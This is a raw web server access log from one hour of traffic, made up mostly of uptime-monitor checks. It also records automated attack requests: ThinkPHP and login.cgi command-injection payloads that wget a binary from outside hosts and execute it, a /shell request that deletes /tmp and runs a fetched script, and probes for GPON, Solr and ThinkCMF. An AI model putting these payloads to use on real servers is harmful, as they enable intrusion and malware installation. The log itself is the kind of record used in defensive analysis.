212.91.246.72 - - [06/Feb/2020:11:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.51.114 - - [06/Feb/2020:11:13:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.33.211.30 - - [06/Feb/2020:11:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
211.192.180.178 - - [06/Feb/2020:11:15:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [06/Feb/2020:11:15:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [06/Feb/2020:11:16:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [06/Feb/2020:11:16:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.113.51.57 - - [06/Feb/2020:11:16:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [06/Feb/2020:11:16:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:11:17:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.47.74.57 - - [06/Feb/2020:11:18:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
167.114.161.117 - - [06/Feb/2020:11:18:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
167.114.161.117 - - [06/Feb/2020:11:18:15 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
167.114.161.117 - - [06/Feb/2020:11:18:15 +0100] "POST /Admin53f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:11:18:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.104.88.219 - - [06/Feb/2020:11:18:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.121.248 - - [06/Feb/2020:11:19:47 +0100] "GET / HTTP/1.1" 200 1229 "https://porno-gallery.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)"
46.118.121.248 - - [06/Feb/2020:11:19:47 +0100] "GET / HTTP/1.1" 200 1229 "https://porno-gallery.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)"
46.118.121.248 - - [06/Feb/2020:11:19:47 +0100] "GET / HTTP/1.1" 200 1229 "https://porno-gallery.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)"
212.91.246.72 - - [06/Feb/2020:11:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:21:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.137.217 - - [06/Feb/2020:11:26:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.119.93 - - [06/Feb/2020:11:27:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:27:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:28:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:29:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:30:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:31:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.97.178.135 - - [06/Feb/2020:11:31:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:33:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.87.35.218 - - [06/Feb/2020:11:36:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
173.249.22.173 - - [06/Feb/2020:11:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:11:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.204.21 - - [06/Feb/2020:11:40:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.17.103.65 - - [06/Feb/2020:11:41:21 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [06/Feb/2020:11:41:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:42:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.47.74.254 - - [06/Feb/2020:11:42:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:44:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.45.51 - - [06/Feb/2020:11:44:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.245.178 - - [06/Feb/2020:11:46:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.114.224.102 - - [06/Feb/2020:11:46:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:50:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:51:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:53:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.84.192.75 - - [06/Feb/2020:11:53:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:54:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:55:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:56:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.148.73 - - [06/Feb/2020:11:57:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:57:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.151.122 - - [06/Feb/2020:11:57:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:11:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:11:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:01:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.58.145.24 - - [06/Feb/2020:12:02:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:12:02:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.124.4.30 - - [06/Feb/2020:12:02:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:12:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.160.177.162 - - [06/Feb/2020:12:06:49 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [06/Feb/2020:12:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:08:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:09:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:12:09:53 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:10:09 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:10:24 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:12:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:12:11:10 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:11:18 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
109.205.166.211 - - [06/Feb/2020:12:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
109.205.166.211 - - [06/Feb/2020:12:11:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:12:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.151.87.144 - - [06/Feb/2020:12:11:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [06/Feb/2020:12:11:46 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:11:48 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
42.113.210.167 - - [06/Feb/2020:12:11:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:12:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.148.39 - - [06/Feb/2020:12:12:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [06/Feb/2020:12:13:24 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:13:24 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:12:13:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.102.49.193 - - [06/Feb/2020:12:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:13:40 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:13:40 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:13:56 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:13:56 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:12:14:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:12:14:44 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:14:44 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:14:52 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:14:52 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
173.249.22.173 - - [06/Feb/2020:12:15:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:15:21 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:15:21 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:15:23 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
